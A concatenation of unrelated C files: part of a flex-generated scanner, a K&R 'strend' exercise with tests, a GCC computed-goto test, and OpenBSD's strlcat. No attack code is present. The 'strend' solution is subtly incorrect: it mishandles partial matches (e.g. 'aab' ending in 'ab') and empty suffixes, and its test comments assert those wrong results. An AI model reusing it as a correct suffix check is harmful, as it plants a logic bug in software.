if ( b == YY_CURRENT_BUFFER ) /* Not sure if we should pop here. */
YY_CURRENT_BUFFER_LVALUE = (YY_BUFFER_STATE) 0;
if ( b->yy_is_our_buffer )
yyfree((void *) b->yy_ch_buf );
yyfree((void *) b );
}
#ifndef __cplusplus
extern int isatty (int );
#endif /* __cplusplus */
/* Initializes or reinitializes a buffer.
* This function is sometimes called more than once on the same buffer,
* such as during a yyrestart() or at EOF.
*/
static void yy_init_buffer (YY_BUFFER_STATE b, FILE * file )
{
int oerrno = errno;
yy_flush_buffer(b );
b->yy_input_file = file;
b->yy_fill_buffer = 1;
/* If b is the current buffer, then yy_init_buffer was _probably_
* called from yyrestart() or through yy_get_next_buffer.
* In that case, we don't want to reset the lineno or column.
*/
if (b != YY_CURRENT_BUFFER){
b->yy_bs_lineno = 1;
b->yy_bs_column = 0;
}
b->yy_is_interactive = file ? (isatty( fileno(file) ) > 0) : 0;
errno = oerrno;
}
/** Discard all buffered characters. On the next scan, YY_INPUT will be called.
* @param b the buffer state to be flushed, usually @c YY_CURRENT_BUFFER.
*
*/
void yy_flush_buffer (YY_BUFFER_STATE b )
{
if ( ! b )
return;
b->yy_n_chars = 0;
/* We always need two end-of-buffer characters. The first causes
* a transition to the end-of-buffer state. The second causes
* a jam in that state.
*/
b->yy_ch_buf[0] = YY_END_OF_BUFFER_CHAR;
b->yy_ch_buf[1] = YY_END_OF_BUFFER_CHAR;
b->yy_buf_pos = &b->yy_ch_buf[0];
b->yy_at_bol = 1;
b->yy_buffer_status = YY_BUFFER_NEW;
if ( b == YY_CURRENT_BUFFER )
yy_load_buffer_state( );
}
/** Pushes the new state onto the stack. The new state becomes
* the current state. This function will allocate the stack
* if necessary.
* @param new_buffer The new state.
*
*/
void yypush_buffer_state (YY_BUFFER_STATE new_buffer )
{
if (new_buffer == NULL)
return;
yyensure_buffer_stack();
/* This block is copied from yy_switch_to_buffer. */
if ( YY_CURRENT_BUFFER )
{
/* Flush out information for old buffer. */
*(yy_c_buf_p) = (yy_hold_char);
YY_CURRENT_BUFFER_LVALUE->yy_buf_pos = (yy_c_buf_p);
YY_CURRENT_BUFFER_LVALUE->yy_n_chars = (yy_n_chars);
}
/* Only push if top exists. Otherwise, replace top. */
if (YY_CURRENT_BUFFER)
(yy_buffer_stack_top)++;
YY_CURRENT_BUFFER_LVALUE = new_buffer;
/* copied from yy_switch_to_buffer. */
yy_load_buffer_state( );
(yy_did_buffer_switch_on_eof) = 1;
}
/** Removes and deletes the top of the stack, if present.
* The next element becomes the new top.
*
*/
void yypop_buffer_state (void)
{
if (!YY_CURRENT_BUFFER)
return;
yy_delete_buffer(YY_CURRENT_BUFFER );
YY_CURRENT_BUFFER_LVALUE = NULL;
if ((yy_buffer_stack_top) > 0)
--(yy_buffer_stack_top);
if (YY_CURRENT_BUFFER) {
yy_load_buffer_state( );
(yy_did_buffer_switch_on_eof) = 1;
}
}
/* Allocates the stack if it does not exist.
* Guarantees space for at least one push.
*/
static void yyensure_buffer_stack (void)
{
int num_to_alloc;
if (!(yy_buffer_stack)) {
/* First allocation is just for 2 elements, since we don't know if this
* scanner will even need a stack. We use 2 instead of 1 to avoid an
* immediate realloc on the next call.
*/
num_to_alloc = 1;
(yy_buffer_stack) = (struct yy_buffer_state**)yyalloc
(num_to_alloc * sizeof(struct yy_buffer_state*)
);
if ( ! (yy_buffer_stack) )
YY_FATAL_ERROR( "out of dynamic memory in yyensure_buffer_stack()" );
memset((yy_buffer_stack), 0, num_to_alloc * sizeof(struct yy_buffer_state*));
(yy_buffer_stack_max) = num_to_alloc;
(yy_buffer_stack_top) = 0;
return;
}
if ((yy_buffer_stack_top) >= ((yy_buffer_stack_max)) - 1){
/* Increase the buffer to prepare for a possible push. */
int grow_size = 8 /* arbitrary grow size */;
num_to_alloc = (yy_buffer_stack_max) + grow_size;
(yy_buffer_stack) = (struct yy_buffer_state**)yyrealloc
((yy_buffer_stack),
num_to_alloc * sizeof(struct yy_buffer_state*)
);
if ( ! (yy_buffer_stack) )
YY_FATAL_ERROR( "out of dynamic memory in yyensure_buffer_stack()" );
/* zero only the new slots.*/
memset((yy_buffer_stack) + (yy_buffer_stack_max), 0, grow_size * sizeof(struct yy_buffer_state*));
(yy_buffer_stack_max) = num_to_alloc;
}
}
/** Setup the input buffer state to scan directly from a user-specified character buffer.
* @param base the character buffer
* @param size the size in bytes of the character buffer
*
* @return the newly allocated buffer state object.
*/
YY_BUFFER_STATE yy_scan_buffer (char * base, yy_size_t size )
{
YY_BUFFER_STATE b;
if ( size < 2 ||
base[size-2] != YY_END_OF_BUFFER_CHAR ||
base[size-1] != YY_END_OF_BUFFER_CHAR )
/* They forgot to leave room for the EOB's. */
return 0;
b = (YY_BUFFER_STATE) yyalloc(sizeof( struct yy_buffer_state ) );
if ( ! b )
YY_FATAL_ERROR( "out of dynamic memory in yy_scan_buffer()" );
b->yy_buf_size = size - 2; /* "- 2" to take care of EOB's */
b->yy_buf_pos = b->yy_ch_buf = base;
b->yy_is_our_buffer = 0;
b->yy_input_file = 0;
b->yy_n_chars = b->yy_buf_size;
b->yy_is_interactive = 0;
b->yy_at_bol = 1;
b->yy_fill_buffer = 0;
b->yy_buffer_status = YY_BUFFER_NEW;
yy_switch_to_buffer(b );
return b;
}
/** Setup the input buffer state to scan a string. The next call to yylex() will
* scan from a @e copy of @a str.
* @param yystr a NUL-terminated string to scan
*
* @return the newly allocated buffer state object.
* @note If you want to scan bytes that may contain NUL values, then use
* yy_scan_bytes() instead.
*/
YY_BUFFER_STATE yy_scan_string (yyconst char * yystr )
{
return yy_scan_bytes(yystr,strlen(yystr) );
}
/** Setup the input buffer state to scan the given bytes. The next call to yylex() will
* scan from a @e copy of @a bytes.
* @param yybytes the byte buffer to scan
* @param _yybytes_len the number of bytes in the buffer pointed to by @a bytes.
*
* @return the newly allocated buffer state object.
*/
YY_BUFFER_STATE yy_scan_bytes (yyconst char * yybytes, int _yybytes_len )
{
YY_BUFFER_STATE b;
char *buf;
yy_size_t n;
int i;
/* Get memory for full buffer, including space for trailing EOB's. */
n = _yybytes_len + 2;
buf = (char *) yyalloc(n );
if ( ! buf )
YY_FATAL_ERROR( "out of dynamic memory in yy_scan_bytes()" );
for ( i = 0; i < _yybytes_len; ++i )
buf[i] = yybytes[i];
buf[_yybytes_len] = buf[_yybytes_len+1] = YY_END_OF_BUFFER_CHAR;
b = yy_scan_buffer(buf,n );
if ( ! b )
YY_FATAL_ERROR( "bad buffer in yy_scan_bytes()" );
/* It's okay to grow etc. this buffer, and we should throw it
* away when we're done.
*/
b->yy_is_our_buffer = 1;
return b;
}
#ifndef YY_EXIT_FAILURE
#define YY_EXIT_FAILURE 2
#endif
static void yy_fatal_error (yyconst char* msg )
{
(void) fprintf( stderr, "%s\n", msg );
exit( YY_EXIT_FAILURE );
}
/* Redefine yyless() so it works in section 3 code. */
#undef yyless
#define yyless(n) \
do \
{ \
/* Undo effects of setting up yytext. */ \
int yyless_macro_arg = (n); \
YY_LESS_LINENO(yyless_macro_arg);\
yytext[yyleng] = (yy_hold_char); \
(yy_c_buf_p) = yytext + yyless_macro_arg; \
(yy_hold_char) = *(yy_c_buf_p); \
*(yy_c_buf_p) = '\0'; \
yyleng = yyless_macro_arg; \
} \
while ( 0 )
/* Accessor methods (get/set functions) to struct members. */
/** Get the current line number.
*
*/
int yyget_lineno (void)
{
return yylineno;
}
/** Get the input stream.
*
*/
FILE *yyget_in (void)
{
return yyin;
}
/** Get the output stream.
*
*/
FILE *yyget_out (void)
{
return yyout;
}
/** Get the length of the current token.
*
*/
int yyget_leng (void)
{
return yyleng;
}
/** Get the current token.
*
*/
char *yyget_text (void)
{
return yytext;
}
/** Set the current line number.
* @param line_number
*
*/
void yyset_lineno (int line_number )
{
yylineno = line_number;
}
/** Set the input stream. This does not discard the current
* input buffer.
* @param in_str A readable stream.
*
* @see yy_switch_to_buffer
*/
void yyset_in (FILE * in_str )
{
yyin = in_str ;
}
void yyset_out (FILE * out_str )
{
yyout = out_str ;
}
int yyget_debug (void)
{
return yy_flex_debug;
}
void yyset_debug (int bdebug )
{
yy_flex_debug = bdebug ;
}
static int yy_init_globals (void)
{
/* Initialization is the same as for the non-reentrant scanner.
* This function is called from yylex_destroy(), so don't allocate here.
*/
(yy_buffer_stack) = 0;
(yy_buffer_stack_top) = 0;
(yy_buffer_stack_max) = 0;
(yy_c_buf_p) = (char *) 0;
(yy_init) = 0;
(yy_start) = 0;
/* Defined in main.c */
#ifdef YY_STDINIT
yyin = stdin;
yyout = stdout;
#else
yyin = (FILE *) 0;
yyout = (FILE *) 0;
#endif
/* For future reference: Set errno on error, since we are called by
* yylex_init()
*/
return 0;
}
/* yylex_destroy is for both reentrant and non-reentrant scanners. */
int yylex_destroy (void)
{
/* Pop the buffer stack, destroying each element. */
while(YY_CURRENT_BUFFER){
yy_delete_buffer(YY_CURRENT_BUFFER );
YY_CURRENT_BUFFER_LVALUE = NULL;
yypop_buffer_state();
}
/* Destroy the stack itself. */
yyfree((yy_buffer_stack) );
(yy_buffer_stack) = NULL;
/* Reset the globals. This is important in a non-reentrant scanner so the next time
* yylex() is called, initialization will occur. */
yy_init_globals( );
return 0;
}
/*
* Internal utility routines.
*/
#ifndef yytext_ptr
static void yy_flex_strncpy (char* s1, yyconst char * s2, int n )
{
register int i;
for ( i = 0; i < n; ++i )
s1[i] = s2[i];
}
#endif
#ifdef YY_NEED_STRLEN
static int yy_flex_strlen (yyconst char * s )
{
register int n;
for ( n = 0; s[n]; ++n )
;
return n;
}
#endif
void *yyalloc (yy_size_t size )
{
return (void *) malloc( size );
}
void *yyrealloc (void * ptr, yy_size_t size )
{
/* The cast to (char *) in the following accommodates both
* implementations that use char* generic pointers, and those
* that use void* generic pointers. It works with the latter
* because both ANSI C and C++ allow castless assignment from
* any pointer type to void*, and deal with argument conversions
* as though doing an assignment.
*/
return (void *) realloc( (char *) ptr, size );
}
void yyfree (void * ptr )
{
free( (char *) ptr ); /* see yyrealloc() for (char *) cast */
}
#define YYTABLES_NAME "yytables"
#line 8 "lexer.lxi"
|
the_stack_data/607172.c | /* Exercise 5-4. Write the function strend(s,t), which returns 1 if the string
t occurs at the end of the string s, and zero otherwise. */
#include <stdio.h>
int strend(char *, char *);
/* test */
int main(void)
{
printf("%d\n", strend("", "")); /* 1 */
printf("%d\n", strend("happy", "")); /* 0 */
printf("%d\n", strend("happy", "y")); /* 1 */
printf("%d\n", strend("happy", "newyear")); /* 0 */
printf("%d\n", strend("happy", "happynewyear")); /* 0 */
printf("%d\n", strend("happynewyear", "happy")); /* 0 */
printf("%d\n", strend("happynewyear", "year")); /* 1 */
printf("%d\n", strend("happynewyear", "newyear")); /* 1 */
printf("%d\n", strend("happynewyear", "newyear!")); /* 0 */
printf("%d\n", strend("happynewyear", "happynewyear")); /* 1 */
return 0;
}
/* return 1 if t occurs at the end of s, and 0 otherwise */
int strend(char *s, char *t)
{
char *b = t;
while (*s != '\0' && *t != '\0')
if (*s++ != *t++)
t = b;
return *s == '\0' && *t == '\0';
}
|
the_stack_data/31386674.c | /* { dg-require-effective-target label_values } */
/* { dg-require-effective-target indirect_jumps } */
f ()
{
long *sp;
long *pc;
static void *dummy[] =
{
&&L1,
&&L2,
};
L1:
{
float val;
val = *(float *) sp;
val = -val;
*(float *) sp = val;
goto *pc++;
}
L2:
{
float from;
*(long long *) sp = from;
goto *pc++;
}
}
|
the_stack_data/117329200.c | /* $OpenBSD: strlcat.c,v 1.16 2015/08/31 02:53:57 guenther Exp $ */
/*
* Copyright (c) 1998, 2015 Todd C. Miller <[email protected]>
*
* Permission to use, copy, modify, and distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include <sys/types.h>
#include <string.h>
/*
* Appends src to string dst of size dsize (unlike strncat, dsize is the
* full size of dst, not space left). At most dsize-1 characters
* will be copied. Always NUL terminates (unless dsize <= strlen(dst)).
* Returns strlen(src) + MIN(dsize, strlen(initial dst)).
* If retval >= dsize, truncation occurred.
*/
size_t
strlcat(char *dst, const char *src, size_t dsize)
{
const char *odst = dst;
const char *osrc = src;
size_t n = dsize;
size_t dlen;
/* Find the end of dst and adjust bytes left but don't go past end. */
while (n-- != 0 && *dst != '\0')
dst++;
dlen = dst - odst;
n = dsize - dlen;
if (n-- == 0)
return(dlen + strlen(src));
while (*src != '\0') {
if (n != 0) {
*dst++ = *src;
n--;
}
src++;
}
*dst = '\0';
return(dlen + (src - osrc)); /* count does not include NUL */
}
DEF_WEAK(strlcat);
|
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